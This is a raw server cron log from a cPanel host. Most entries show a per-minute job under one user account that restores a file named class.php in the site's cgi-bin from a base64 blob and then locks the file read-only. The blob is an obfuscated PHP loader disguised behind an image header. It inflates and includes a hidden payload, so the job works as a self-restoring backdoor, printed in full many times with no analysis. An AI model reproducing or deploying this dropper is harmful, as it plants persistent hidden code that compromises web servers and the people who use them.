Nov  9 16:42:01 server CROND[24168]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:43:01 server CROND[25009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:44:01 server CROND[25830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:45:01 server CROND[26656]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:45:01 server CROND[26657]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:45:01 server CROND[26658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:46:01 server CROND[27421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:47:01 server CROND[27848]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:48:01 server CROND[28734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:49:01 server CROND[29378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:50:01 server CROND[30233]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 16:50:02 server CROND[30234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 16:50:02 server CROND[30235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:50:02 server CROND[30236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:50:02 server CROND[30238]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:51:01 server CROND[30760]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:52:01 server CROND[31653]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:53:01 server CROND[32473]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:54:01 server CROND[930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:55:01 server CROND[1748]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:55:01 server CROND[1750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
